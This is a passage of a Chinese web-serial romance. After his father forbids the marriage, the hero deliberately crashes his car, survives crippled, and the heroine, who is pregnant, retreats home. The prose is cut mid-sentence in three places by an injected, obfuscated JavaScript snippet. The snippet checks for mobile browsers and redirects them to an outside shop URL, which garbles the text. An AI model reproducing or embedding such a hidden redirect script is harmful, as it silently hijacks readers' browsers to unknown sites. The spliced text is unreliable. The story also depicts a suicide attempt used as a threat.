“既然都这样了,那姜叔叔去跟我爸妈解释吧,我不想掺和了,我只是想娶姜迟夏,既然没机会了,那就罢了。” 见郑峥嵘要走,姜永才喊住他,“峥嵘,这真不是我的本意,都是你婶婶干的好事,那些钱不用我还吧?” 郑峥嵘冷笑一声,“你每年大概要收我家两三万的礼物,持续了十几年,答应的事情也没做到,当然了,我不会跟你要这些钱,至于我爸妈会不会要我不知道,你跟他们解释吧,看他们的态度。” 姜永才慌了,“这让我上哪里搞这么多钱去?这不是把我填在坑里了吗?” 郑峥嵘什么都没说,转身出去了,“我走了,长这么大,第一次这么丢人现眼。” 姜永才追上他,“峥嵘啊,你回去跟你爸妈好好说说,那些钱我看能不能慢慢还。” 姜迟夏拉着李长尽走远了,生怕姜永才发现他的身世强大,会出事的。 她也警告姜金驰,“你也不要把李长尽的身世跟任何人说,包括你姜家所有人,我不希望因为我的存在,让李长尽被人敲诈勒索。” 姜金驰当然懂,“放心吧,我又不是傻子,我哪里不知道我爸什么德行,肯定不会告诉他,我妈也不会说的。” 姜迟夏点头,再次警告李长尽,“财不外露,尤其别被姜永才发现,不然我就不跟你好了。” 李长尽问,“那万一他跟张阿姨要钱,闹的很难看呢?” 姜迟夏让他放心,“我妈能解决的,放心吧,这是我妈的娘家,他反不了天,我两个舅舅都在家呢,他不敢闹。” 这倒是事实,虽然张兰英不太搭理两个舅舅,但要是她有事,两个舅舅也不会坐视不理。 姜永才也知道自己讨不到便宜,只能坐下来跟张兰英心平气和地解决这件事。 “你也知道郑家每年都送那么多礼物就为了姜迟夏,郑峥嵘这孩子,国家栋梁之材啊,你怎么想的,连这门亲事都拒?” 张兰英神色冷静。 “我知道他很优秀,但长尽也不差,长尽是我看上的孩子,我当然更相信我自己的眼光。” 姜永才抹了一把脸。 “那现在怎么办?我上哪里搞那么多钱还给郑家?你这不是逼死我吗?” 张兰英问,“五十万够不够?我给你。” 姜永才被吓到,“什么?” 张兰英看着他那张脸,“五十万,从此以后别再纠缠,好好过你的日子。” 姜永才听到张兰英要给他五十万,手指都在发抖,“真给我?” 张兰英点头,“我这些年也就攒了这么点,就想换夏夏一个安稳。” 姜永才想了想,答应了,“行。” 张兰英说,“你把银行卡卡号和开户行留下,明天我转给你,以后都别来了。” 姜永才看着她冷静的神色,“你是真绝情。” 张兰英冷笑道,“对一个人渣,有什么好藕断丝连的?我离开你,过得太好了,全身的病都好了。” 姜永才忍了忍怒气,怕自己发脾气的话,张兰英不给他钱了,他说,“等我回去把银行卡拍给你。” 张兰英朝着外面喊,“金驰?姜金驰!” 姜金驰老远听到妈在喊他,赶紧跑回去,“怎么了?” 张兰英说,“送你爸回去。” 姜金驰哦了声,去找舅舅借摩托车,郑峥嵘走了,把姜永才给丢下了。 见张兰英赶客了,姜永才也不好再恬着脸留下,起身离开。 “五十万不给我的话,我还会闹的。” 张兰英让他放心。 “我不是你,我说话从来算话。” 姜金驰骑了小舅舅的摩托车到了门口,在门口喊他,“爸,走了。” 姜永才走出去,也再没看到姜迟夏和她男朋友的影子,这是真不打算认他了啊。 姜永才坐在了摩托车后座上,姜金驰骑着摩托车离开。 姜永才问他,“你姐男朋友是哪里人?家庭条件怎么样?” 姜金驰满嘴胡说八道,“北城人,家里情况一般,在城里有房,比我家情况稍微好一点。” 姜永才疑惑,“在北城有房?北城房价不低吧?” 姜金驰说,“那肯定是最次的楼盘买的了,他父母所有积蓄给他买套一百万左右的房不是什么问题吧?” 姜永才气的咬牙,“峥嵘能买得起两百万的房子,他家开的车都是奔驰,这条件哪里差了?” 姜金驰,“……” 比起李长尽,谁都得被秒成垃圾。 他姐夫随便一开就是库里南啊。 但他不能说。 姜金驰点头,“郑家那小子条件确实不错,可惜我姐不喜欢他。” 姜永才泄了气,“算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12902408|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能把郑家的钱还上,我也懒得管她了。” 本来就没管过,这个时候管,什么心思,谁看不出来? 姜金驰懒得跟他说,反正他以后也不会回姜家了,他要跟着姐夫去北城闯一闯。 终于把姜永才打发了之后,姜迟夏才带着李长尽回去。 张兰英在准备午饭。 李长尽走到厨房去,问她,“张阿姨,他没为难你吧?” 张兰英正在洗茄子,“他能为难我什么,不过,长尽,你得给我五十万,就作为彩礼吧。” 李长尽一愣,“五十万?是不是有点少了?” 张兰英说,“就五十万,多了一分不要,相对而言,我还是跟你要多了,我们这边彩礼最高二十多万,你今晚转给我。” 李长尽问,“再不需要其它的了吗?张阿姨,这是不是有点潦草?” 张兰英看了他一眼,“等你搞定你家那边再说其它的,目前就先这样,我家这边你不用管了,就五十万。” 李长尽应下,“行,听你的。” 李长尽的卡都是黑金卡,转账是不限额的,他经常大额支出。 所以这五十万轻轻松松就转给张兰英了。 这晚,李长尽和姜迟夏分开睡了,他翻来覆去睡不着,翻了半夜还是抱着枕头去找媳妇了。 姜迟夏睡得正香,卧室的门被推开了,她迷迷糊糊听到门响,恍惚睁眼,借着窗外的月光,看到李长尽鬼鬼祟祟进来了。 她疑惑地问,“你怎么不睡觉?” 李长尽甩了拖鞋爬到她身边去,“一个人睡不着。” 姜迟夏,“……” 躺在她身边,她翻了个身,他从后抱上去。 姜迟夏无奈,“我妈看到又要说了。” 他温热的唇蹭着她后颈的皮肤,“我又没做什么。” 姜迟夏拍拍他的手,“睡吧睡吧。” 他这才安心地闭上了眼睛。 一觉醒来果然挨骂了,他还没睡醒,就听到张阿姨在说姜迟夏。 “房间都给他打扫了,他还跑去你房间?出事了可别说我没提醒你俩。” 姜迟夏面红耳赤地挨骂,弱弱地反驳一句,“你担心过头了。” 张兰英去推开姜迟夏的卧室门,敲了几下,“长尽,事情处理完了,你是不是该回家了?” 李长尽霎时就清醒了,“我不着急啊张阿姨。” 张兰英说,“你得回家处理你家的事情,不能一直在这里待着,而且你那么忙,你的时间和我们的不一样,你准备一下快点回家。” 李长尽,“……”有点不情愿,“那夏夏呢?” 张兰英回答,“夏夏先待在我这里,安全点。” 李长尽,“……” 他不愿意,不情愿的表情都挂在脸上了,什么都没说,又把脸捂在枕头里了。 张兰英把门一关,让姜迟夏去劝,“你跟他说一声,让他尽早回家处理他家的事情。” 姜迟夏哦一声,又返回卧室。 李长尽趴在那里不动,姜迟夏戳戳他厚实的背,“少爷,你该回家了。” 李长尽气的捂了被子,“不回,除非你和我一起回。” 姜迟夏小声道,“我现在还不能跟你回去,我妈怕我有危险,你先回去,处理完了我再去找你好不好?” 李长尽的声音闷闷的,“你不跟我回去,我处理什么都没劲儿,我不想和你分开,你跟我一起回。” 姜迟夏无奈,“怎么就一点都不听话呢?要不让姜金驰跟你一起回去?” 李长尽终于受不了,坐了起来,头发都乱糟糟的,眼神不悦,表情耷拉着。 “你是我媳妇,还是他是我媳妇?他跟我回去能干嘛?我要你跟我回去,你不回去我也不回去,我就赖在你家了。” “……你是真无理取闹啊,你那么大的酒店不要了?出事了怎么办?” “随便,反正又不是我一个人的,李兴澜肯定会管,我一点都不担心。” “……” “可我担心你,我怕我走了,又出变故,我要宝贝老婆,我不走。” 60. 失踪? 姜迟夏是真的服了李长尽,怎么哄都哄不走,非要她一起回去才行。 姜迟夏想跟他一起回,但张兰英不让的,姜迟夏还年轻,不懂豪门的弯弯道道,但张兰英比谁都清楚,姜迟夏的存在一定会引起很多麻烦,尤其是她怀孕后,很多人都会将李长尽视为眼中钉。 李家家大业大,谁是人谁是鬼都不知道,张兰英当年亲眼看着展月为了保护李长尽死在车祸里,李长尽失去了一条腿,她无能为力,她只是个保姆,她能做的就是在不犯错的情况下,帮助展月把两个孩子拉扯大。 现在两个少爷都成人了,也都很优秀,她可以功成身退,原本没打算再搅和李家的事情,可没想到的是姜迟夏和李长尽在一起了。 这个秘密她是准备带进棺材的,并不打算说给任何人听,她为什么那么害怕李家,归根究底就是因为那都是一群魔鬼。 李长尽代替李长愠上位,成了李兴澜栽培的对象,那盯着他的人绝对很多,一旦发现姜迟夏的存在,再查到她没有什么背景,一定会出事。 所以张兰英让李长尽尽快回家处理他家的事情,最起码要让李兴澜承认姜迟夏这个儿媳妇,不然做什么都是白搭。 李长尽不愿意走,张兰英只能坐下来跟他好好谈谈,她态度强硬,神色冷静。 大概是在李家那样的家庭待久了,她的心思要比李长尽还要缜密一些。 她告诉李长尽,“我一直不同意你和夏夏的事情,就是害怕你爸,你爸那边态度很坚决,绝不会让姜迟夏嫁进你们李家,长尽你现在地位已经稳了,你爸那边绝不可能轻易答应这件事,所以你必须回去处理,我可不希望我女儿跟着你受委屈。” 李长尽低着头没说话,张兰英继续道,“你们李家家大业大,你还是长子,多少人盯着你你应该明白,你堂而皇之的将她带在身边,你爸迟早都会知道她怀孕的事情,而且这结婚是两个家庭的事情,不是你和姜迟夏两个人的事情,你能来我这里认错,主动承担责任,我觉得你是个能信得过的人,那就看你家那边了。” 李长尽明白张兰英担心什么,她担心的确实没错,他哑口无言,只能默默地听着她把话说完。 “我们只是小人物,没什么背景,也没什么人撑腰,一旦出什么事,也无能为力,让夏夏待在我身边,我照顾她你可以放心,等你把你家那边的事情处理完了,我亲自给你送过去。” 李长尽终于还是被张兰英说服了。 他点头,“行,那我先回去,麻烦张阿姨照顾夏夏了。” 张兰英应着,“不麻烦,怎么说都是我女儿,我比你更希望她能平安。” 李长尽再什么都没说,当天订了晚上的机票,中午的时候,姜金驰叫了车,送他去镇子上,让他转车去市里。 姜迟夏也去了,他知道李长尽舍不得她,毕竟这和好才没几天,急匆匆来,又急匆匆走。 李长尽的时间和她的不一样,就像他自己说的,他的时间按秒计算的。 一路上她都在安慰李长尽,“你快一些处理完你家的事情,我就可以去见你了,你别不开心啊。” 李长尽哪能开心的起来,他叹息一声,“虽然很想带你一起回去,但张阿姨说的没错,我考虑有点不周全,那你就在家好好的,等我给你打电话。” 姜迟夏应着,把他送到了镇子上,抱了抱他,他自己搭车去市里,她和姜金驰往家里返。 姜金驰说,“还有十多天我也上学了,放心吧,你不能去的话,帮你去看看他。” 姜迟夏什么都没说,她也舍不得,每一次和李长尽分别,都感觉像是再也见不了一样。 距离实在太远了,如果近的话,她还能经常去看看。 李长尽一走,家里也没那么热闹了,很多人前来串门,了解姜迟夏的婚事情况,其实都是来吃瓜的。 张兰英也礼貌地跟他们寒暄,瞎编一些鬼话,骗骗一群八卦的女人。 大概晚上九点左右,李长尽到北城了,给姜迟夏报了平安,他直接回李宅了。 之后会发生什么,姜迟夏便什么都不知道了,李长尽那一晚上没再没给她发消息。 正处于夏收季节,姜迟夏白天也会帮外婆干点活,她一直在等李长尽的消息,可这家伙一回去就跟失踪了似的,发过去的微信消息也没回。 她终于忍不住在傍晚的时候给他打电话,但他的手机处于关机状态,一直没打通过,姜迟夏有点慌了。 她回去跟妈说了一声李长尽消失的事情,把妈也吓到了。 张兰英着急了,“总不能出什么事吧?” 姜迟夏也不知道,但李长尽就算再忙,也不会不回她消息啊,连着几天打电话,电话都是关机的。 这是发生了什么? 凑巧姜金驰要回学校了,张兰英让他去了北城之后,去找找李长尽,看看他在干什么,能不能见到,姜金驰答应着。 可是到了北城之后,他发给李长尽的消息也没回,电话也打不通,他也不知道上哪里能找到李长尽。 姜迟夏让他去一趟湖光山色小区,8栋单元楼8楼,看看李长尽在不在那儿,不在那儿的话,去长生酒店总部问一下。 姜金驰搜了搜湖光山色,叫了网约车去那边,那是个富人区,里面都是一群有钱人,姜金驰肯定进不去。 到了小区门口,被门卫保安挡住了,问他找谁,他说找业主李长尽,那保安告诉他,“他没回来过,最近估计不在这边住。” 姜金驰的心一下子凉了,他又长途跋涉去长生酒店总部,问李长尽的消息,长生酒店的前台告诉他,“少总出差没回来,还没有消息。” 姜金驰隐约觉得李长尽出事了,他都不敢跟姜迟夏说这事,可李长尽那么大一个人,怎么说消失就消失了? 忙了一天的姜金驰,回到学校没多久,姜迟夏的电话就打来了,问他打听的怎么样了,姜金驰沉默半天之后,让她做好心理准备。 “他没回去过湖光山色,长生酒店也说他出差没回来。” 姜迟夏觉得不可能,那天晚上九点多他就给她报平安了,李长尽回到了北城。 见姜金驰问不出所以然之后,姜迟夏挂了电话,在微信上给杨白霜发了消息。 [霜霜,你有贺知临电话号码吗?发给我一下。] 杨白霜倒是过了几分钟就回了过来。 [我跟他分手了啊,我早就把他拉黑了,你找他干什么?] 姜迟夏感觉编辑短信的手指在发抖。 [我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12909285|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 联系不到李长尽了,我想知道贺知临能不能联系到他,我很担心。] [你俩没分啊?他去找你了?] [对,没分得了,麻烦你把贺知临的电话给我一下吧,你肯定有的。] [我把他微信从黑名单拉出来问问他。] [好,谢谢霜霜。] 不一会儿,杨白霜的消息发来了,一串数字,贺知临的电话号码。 姜迟夏颤抖着手指拨通,贺知临第一时间没接,过了会儿才接起来。 “喂?您哪位啊?” 姜迟夏缓了缓心中的紧张和惶恐。 “是我,姜迟夏,我想问问你,你能联系到李长尽吗?” 贺知临顿了一下。 “我哥怎么了?” “不知道,我联系不到他了,他前几天回了北城,音讯全无。” “我也不知道啊,他没联系我,我回头去他家看看。” 姜迟夏沉默了一会儿,好像连一句话都说不出来了。 她挂断了电话,心里慌的不像话。 连贺知临都不知道他去哪里了吗? 她决定亲自去北城找一找,总不能就让他这样音讯全无吧? 早知道她就该跟着的。 她跟张兰英说了一下自己的想法,“我得亲自去找找他,哪怕是出事了,我也得知道一下。” 张兰英心里很不是滋味,“我就知道不太平,所以才没让你跟着去,你现在去了上哪里找他?” 姜迟夏想了想,突然反应过来,“妈,你有长愠的联系方式吧?你问问他,他肯定知道李长尽干什么去了。” 张兰英把李长愠的电话号码给了她,让她自己问。 姜迟夏的电话又打给了李长愠,李长愠那边好久没接电话。 姜迟夏又打了一次,这次他接了,声音听起来冷冷清清。 姜迟夏紧张地开口,“长愠,是我。” 李长愠听到她的声音愣了一下,“夏夏?” 姜迟夏点头,“对,我想问一下你,李长尽是不是前几天回李家了?” 李长愠沉默了一会儿,没回答。 姜迟夏都快急死了,“长愠,你说话,他怎么了?他出什么事了吗?” 李长愠在那边叹气,“前几天他晚上突然回来,跟我爸爆发了冲突,一气之下……” 姜迟夏心里一咯噔,“一气之下怎么了?” 李长愠没开口,沉默半晌后,说了一句,“你以后别找他了吧,好好过你自己的。” 姜迟夏喉头哽了哽,“所以他到底怎么了?” 李长愠不知道怎么开口说,一个劲在电话那头出长气。 姜迟夏缓了缓心中的不适感,她轻声开口,“长愠,我怀孕了,你哥的。” 李长愠被她一句话击中,“真怀上了?” 姜迟夏重重地出口气,“对,我不能没有他,求你了,你就告诉我吧,他怎么了?电话打不通,我知道他不会平白无故不理我的,他肯定出事了是吗?” 李长愠不知道怎么回答她,“他这个人一向很极端,我一直劝你远离他,现在成你的灾难了。他回家跟我爸说他要结婚,我爸不同意,他死给我爸看了。” 姜迟夏,“……” 61. 想你 李兴澜以为李长尽说那些话都是吓唬他的,没当回事,他也没想到李长尽会极端成这样。 当天晚上跟他吵了一架,离开李家,直接将他那辆SUV撞在了一辆路过的大货车上,大货车什么事都没有,他连人带车被撞了个稀碎。 货车司机一边咒骂一边打电话叫交警,叫救护车,就距离李宅不到一千米,他真的敢死在李兴澜面前,李兴澜接到电话的时候,心都凉了,一把年纪了,让他白发人送黑发人吗? 十多年前的一场车祸让他差点和展月死在了一起,后来没死,失去了一条腿,一个好好的孩子,变成了残疾的。 这件事对于李兴澜而言,一直都是心里的一根刺,所以后来即使李长尽脾气坏的要死,他都没怎么管过,就想着弥补他一点。 李长愠不敢跟他顶嘴,李长尽把他往死里怼,他都没有当回事过。 结果这没出息的东西,为了一个女孩子跟他赌气,还真敢死在他面前。 事后这件事被李兴澜压了下来,李长尽不能出事,他手里拿着李氏将近一半的股权,他一出事集团内部要乱了的。 李长尽全身粉碎性骨折,病危通知书下了一次又一次,没日没夜地抢救了好几天,全身打满了钢板和铆钉,才送进了ICU。 要不是李家有钱,李长尽这种情况基本上死人一个了,普通人根本没法负担昂贵的费用,李兴澜不想让他死,想尽了办法,让医生给李长尽捡回一条命,可那条命捡回来大概也没什么用了。 还在ICU,一点清醒的迹象都没有,李兴澜天天在医院待着,恨死了姜迟夏,真恨不得让姜迟夏在这个世上消失了。 姜迟夏从李长愠那里得知了李长尽的消息,她想去北城看李长尽,不管是死是活,她也得看一眼才行。 张兰英看她情绪不对,就知道出事了,她问姜迟夏,“长尽是不是出事了?” 姜迟夏并不想说什么,可是听到张兰英问了,她的眼泪才止不住地往下掉。 “他这个人怎么这样啊?就没有其它办法了吗?我当初拒绝了他一次又一次,他死活不肯放过我,结果现在又跟他爸赌气,完全没想过我会不会难受。” 张兰英大概猜到了,她拿了纸巾来,帮姜迟夏擦擦眼泪,叹息一声。 “我就知道会出事,才没让你跟着去,不然还有你难受的,长尽那脾气,真的太犟了,他都不管别人会不会难受的。肯定是他爸不同意,他拿死威胁他爸,李兴澜纵横商界几十年,怎么可能会被他吓住?” 姜迟夏擦了擦眼泪,“可他真做了,他死给他爸看了,现在都不知道是什么情况。” 张兰英,“……” 她擦完眼泪之后,情绪又冷静了下来,“妈,我得去看看他,哪怕看了之后,我不跟他在一起了,我也不能让他有事,我只要确定他还活着就行。” 张兰英摇头,“李兴澜不会让你见他的,他一直瞧不上我们,所以你现在知道我为什么经常敲打你了?你老是不把我的话当回事,终于出事了。” 姜迟夏承认,她确实太年轻了,沉沦在李长尽的甜言蜜语和呵护关怀下,导致连自己是谁都忘了。 她还真以为自己能和李长尽在一起,她还真的认为阶级是可以跨越的,她错了,错的很离谱。 但不管如何,她还是要去看看李长尽的,只要确保他还活着就行,她不能一直等着。 张兰英没阻拦她,只是警告她,“李家人不让你见的话,那你就别见了,至于这个孩子,时间还不久,做手术还不是很麻烦。” 姜迟夏什么都没说,收拾了行李,忐忑了一晚上,第二天就出发去北城了。 李长尽出事的消息被压了下来,连贺知临都不知道,要不是李长愠跟她说,她也不会知道李长尽发生了什么。 姜金驰去接的她,让她暂时和林想住一起,林想在找工作,所以姜金驰租的房子也就没退。 听到姜迟夏来了,林想也是特别开心,她和姜金驰的感情一直都挺好,又和姜迟夏是舍友,关系自然就亲近了很多。 林想问她来北城干什么,她说过来看看,能不能找个工作。 姜金驰也就没跟林想说关于姜迟夏和李长尽的事情。 林想说她找到一个还可以的工作,准备过两天去试试,试用期一个月。 姜迟夏给她加油打气。 她有李长尽湖光山色的房子的钥匙,但她不敢去了。 到了北城第二天,她约了李长愠出来见了一面。 有些事情在电话里,李长愠不肯说。 只要是她约,李长愠都会来的。 李长尽生死未卜,李长愠暂时代替李长尽管理着长生酒店。 他们约在一家咖啡馆,姜迟夏表现地很冷静。 她只是想知道李长尽在哪家医院,情况怎么样。 李长愠不太想说他在哪个医院,“你去了也是白搭,我爸一直守着呢,他现在估计恨死你了。” 姜迟夏抿一口咖啡,手指都在发抖,“那他现在的情况怎么样?” 李长愠摇头,“不知道,我只在他刚被送去医院那会儿去看过他,病危通知书下了好几个,我爸签了好几个。” 姜迟夏低着头,握着咖啡杯的手抖得不成样子,眼泪还是落在了咖啡里。 李长愠递给她纸巾,“你别哭,又不是你的错,我都不知道说什么,怎么会有这种人。” 姜迟夏拿过纸巾,擦了擦眼泪,吸了吸鼻子,控制着情绪,“不会死吧?” 李长愠摇头,“不知道,反正没醒来。” 姜迟夏感觉呼吸都一阵一阵窒息,“是我害了他。” 李长愠让她别自责,“不是你的错,他这人就这样啊,只管他自己乐不乐意,从不会考虑别人,连死都不一样,明明知道你怀孕,还这么做。” 姜迟夏摇头,再什么都不想说了。 她沉默一会儿,缓了缓心中的窒息感,问李长愠,“你能帮我见他一面吗?” 李长愠说,“见不了,他在ICU,我爸一天什么都不干就在医院守着,有保镖在那边,看得出来我爸多在乎他了,他总说我爸不在乎他,其实我爸最在乎他,不然他以前那么混账,我爸不会不管。我爸觉得亏欠他,就纵容他,让他变成了现在这个样子。” 所以李长尽想错了吗?李兴澜其实很在乎他,如果不在乎他,压根不会管他跟谁在一起。 他们都错了啊。 姜迟夏出一口长气,“那他要是醒来的话,你跟我说一声,好不好?” 李长愠点头,“好,那你现在怎么办?我爸不同意你和他的事情,现在可能更恨你了。” 姜迟夏摇头,“没事,只要他活着就行,我无所谓。” 她不想欠李长尽一条命,只要他活着,她这辈子不见李长尽都行。 李长愠又问,“那你的孩子怎么办?” 姜迟夏言语冷静,“胎还没稳,做手术也就几十分钟的事情。” 李长愠,“……” 她起身要走了,“麻烦你了长愠,有消息第一时间告诉我,谢谢你,回头请你吃饭。” 李长愠想说什么,欲言又止,最终还是什么都没说。 姜迟夏便回去等消息,林想出去上班了,住公司宿舍,说一个星期一回,姜迟夏就自己住在不大的单间里。 过了两天,她还是去了一趟湖光山色,把自己留在李长尽家里的东西拿走了,一些洗漱用品和几件衣服。 感觉什么都像做梦,前不久李长尽还在这个家里给她做饭,跟她憧憬未来,现在他就躺在ICU了。 她把偌大的房子走了一遍,几天前和几天后的差距能大成这样,转了一圈走到客厅时,她已然泪流满面。 她进去卧室,推开衣帽间的门,衣帽间里都是李长尽的衣服和他的饰品。 她送的一枚胸针,放在一系列天价胸针最中间,金色丝线绣成的“尽”字,格外扎眼。 那是她送李长尽的唯一一件生日礼物,他一直珍藏着,都没怎么戴过,说坏了就没了。 所以这场感情里,她什么都没为李长尽做过,一直都是他在付出。 不远千里,一次次找借口去她家,就为了看她一眼。 她不会再遇到像李长尽这么爱她的人了。 永远都不会了。 一个美好的梦就这样碎了,碎的不成样子,拼凑不起来了。 她要把李长尽弄丢了。 泪眼模糊中,看到了她手上的戒指,她摘下来放在了那枚手工胸针旁边。 “李长尽,我什么都不想欠你的,可你总是让我欠着你,欠了你的钱,你的情,现在又是你的命……如果能活过来的话,别再任性了好吗?你爸爸很爱你。” 她将那枚戒指摆端正,戒指上的闪钻折射着太阳光。 她看了几眼,转身出去,将门关好,拿好自己的东西,离开了。 属于她和李长尽的美梦结束了,烟消云散。 张兰英打电话来问她什么情况,她说不出个所以然,平时从不喜欢哭的人,在电话里泣不成声。 张兰英再什么都没问,只说了句,“受不了的话,就回家吧,回来。” 她摇头,“我得等到他的消息才能走,我没事了,你别管我。” 大概又过了一个星期,李长愠给她发了消息。 [他醒了,不过我爸想见你,但我觉得你还是别见比较好,他恨死你了。] 姜迟夏叹息一声。 [不用见了,我知道该做什么,无非就是想让我离李长尽远点,我懂,只要他醒了就好。] [夏夏,他有什么值得你喜欢的?] 姜迟夏想了想,她也不知道。 [脾气差,极端,我行我素,自私自利,没有一个优点,可是他爱我,就这一点,我这辈子都喜欢他。] [爱情不能当饭吃。] [但可以当药吃。] [……] [你爸知道我怀孕的事情吧,麻烦你转告一声,这个孩子我不会要了,让他别担心我会拿孩子威胁。] [肯定知道了,你自己多保重,照顾好自己。] 姜迟夏再什么都没说。 张兰英还是来找她了,怕她有什么三长两短。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12912613|134778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >了解了情况后,张兰英说,“我陪你去做手术,不是什么大问题,我早知道有这一天。” 姜迟夏摇头,“不去,我不要做手术,我要把这个孩子留下来。” 张兰英有点诧异,“你留下这个孩子,以后可不好再嫁人了。” 姜迟夏点头,“我知道,肯定会有很多弊端,可我舍不得。” 张兰英便再没劝,女孩子的一辈子,也不一定非要男人,有个自己的孩子也好。 姜迟夏也没去做手术,知道李长尽醒来了之后,她跟着妈妈离开了北城,回了老家。 - 李长尽全身打满了钢板和铆钉,一条命差点捡不回来,躺了半个月终于醒了,在医院一直躺到了冬天。 他觉得自己命真硬,都被撞成那样了还能活下来,李兴澜觉得他说什么都是放屁,那他就做给他看,表明自己想娶姜迟夏的决心。 可现在不但没死成,还彻底坐上了轮椅。 李兴澜终于信了,他从来没见过李兴澜哭过,可他醒来那一天,李兴澜老泪纵横,握着他的手,一遍一遍说着,“活过来就好,你真是要我的命啊长尽,我在你眼里,不如一个外人是不是?我是你爸,不是你的仇人,你就这么对我。” 李长尽毫无情绪,什么都没说。 再后来,李兴澜说,“姜迟夏做手术把孩子流了,让我转告你一声,她不会再找你了。” 他出奇的什么情绪都没有,想着流了也好,他现在这个样子,已经没法再给她希望了。 本想给她最好的生活,可到头来,只能一次次伤害她,张阿姨看的太透了。 透彻的要命。 再次回到湖光山色的家里已经是深冬了,郭悠止送他过去的,他现在不管干什么都只能坐轮椅。 本来好好的右腿,也打满了钢板和铆钉,动一下就疼。 医生都说这玩意能不能拆都是个问题,拆的话还有生命危险。 他没办法娶姜迟夏了,亲手葬送了这段感情,他该理智一点的,为了赌气,把一辈子葬送了。 姜迟夏肯定恨死他了,都不知道会怎么骂他。 他推开衣帽间的门,发现她把自己的东西都拿走了。 他坐在轮椅上看着她送的胸针,胸针旁边放着他送她的那枚戒指。 他拿出来看了看,心中锥痛感一阵一阵,他摩挲了那枚戒指半天,戴在了自己的右手无名指上。 有点小,他使劲往下推,手指骨节都破皮了,鲜血染上了戒指,他感觉不到疼似的。 郭悠止在外面等着,等了半天他没出来,便在门口喊,“少爷,回李宅吗?” 他情绪淡然,“回。” 北城天气太冷了,他缓过来之后,就去港城暖和一点的地方休养了,手机握在手里,时常想给她打电话,但还是没敢打。 这么久了,她应该已经有了新的生活,他不该再去打扰,做了那么多努力,最后还是功亏一篑,现在就算李兴澜答应,他也不敢再见姜迟夏了。 他去了港城的度假村,每天面对大海,郭悠止跟着他,李兴澜怕他又想不开。 他现在想的很开了,心死了,什么都无所谓了。 他坐在轮椅上,看着海边嬉闹的人群,时常幻想姜迟夏穿泳衣是什么样的,她一直以来都把自己包的严实,裙子都很少穿,绝对不会穿泳衣吧? 港城天气不冷,但也不是很热,跟北城秋天一样。 他忍得住不联系她,也知道她现在恨不得弄死他。 一直以来,他就没做一件让她开心的事情,所以姜迟夏不喜欢他很正常啊,太正常了。 他这种人,确实没什么值得人喜欢的。 他将那枚戒指从兜里拿出来,看了看之后,握在手心,吹一口气,狠狠地扔向了大海。 天价限定戒指消失在了涌上来的潮水里,他神色镇定,仿佛扔的只是一个石头。 原来只能死一次才能想开,如果不死一次,他会一直把姜迟夏当成他的所有物,让她喘不过气,只能面对他这个残废。 以后她会有更好的生活,那个姓郑的……确实优秀,国家的栋梁之材,长得也不错,他一定会对姜迟夏很好吧。 只要对她好就行,比嫁给他幸福多了,离她家也近,她想妈妈了,可以随时回去。 可是他怎么办呢…… 活不起,死不了。 命真硬。 刚在叹息,手机突然震了一下,他从兜里把手机拿出来。 一条陌生号码发来的短信。 [李长尽,我今天突然特别想你,我在家门口堆了个雪人,很像你。] 他握着手机的手指颤了颤,心痛也随着颤抖的手指涌上来。 他感觉胸口窒疼,眼泪毫无征兆一并涌来。 他低眼,眼泪湿了睫毛,一颗一颗落在手机屏幕上,泪眼模糊看着那些字。 他没回复。 随后又来了一条。 [不知道你在干什么,也不知道你好着没,但我很好,我什么事都没有,就是有点想你,干什么都想起你,你会收到我的短信吗?号码还在用吗?] 62. 心月湾 姜迟夏的肚子已经显怀了,半年过去了,从盛夏到深冬,这段时间过得确实很煎熬,还好妈妈陪着她,开导她,才不至于那么难过,这世上也就妈妈在乎她的情绪了。 别人都是看笑话的,整个夏家屯的人都知道她被那个城里来的少爷抛弃了,刚怀孕就被抛弃了,她在那一带也算是又出名了。 可她觉得无所谓,完全不在乎那些流言蜚语,该干什么还干什么,注销了手机号,换了一个新的,以为就可以重新开始,可是并不是。 李长尽的电话号码已经刻在她的脑海里,即使她刻意想忘了他,还是做不到,李长尽给她的印象太刻骨了。 她这辈子都不可能忘了。 后来张兰英突然把她在北城用过的手机卡给她了,她重新找回了她以前的那个微信号,李长尽扫给她的20万还在微信余额里,一分都没动过。 而李长尽的微信还在置顶的位置,她点进去一看,都是高三那年李长尽给她发的消息。 [给你看少爷的成绩,这第一名不是有手就行?] [姜迟夏,你可别回了老家就玩得不亦乐乎,别谈恋爱,好好学习。] [你怎么不回我?你不会把我忘了吧?] [看,月考成绩,李长愠在我面前啥也不是。] 看到这些几年前的消息,她的心情也是复杂,想给他回个消息,发现这个微信早就被删了。 发出去的消息也成了红色感叹号,她点进他的微信主页,看到他的签名换了。 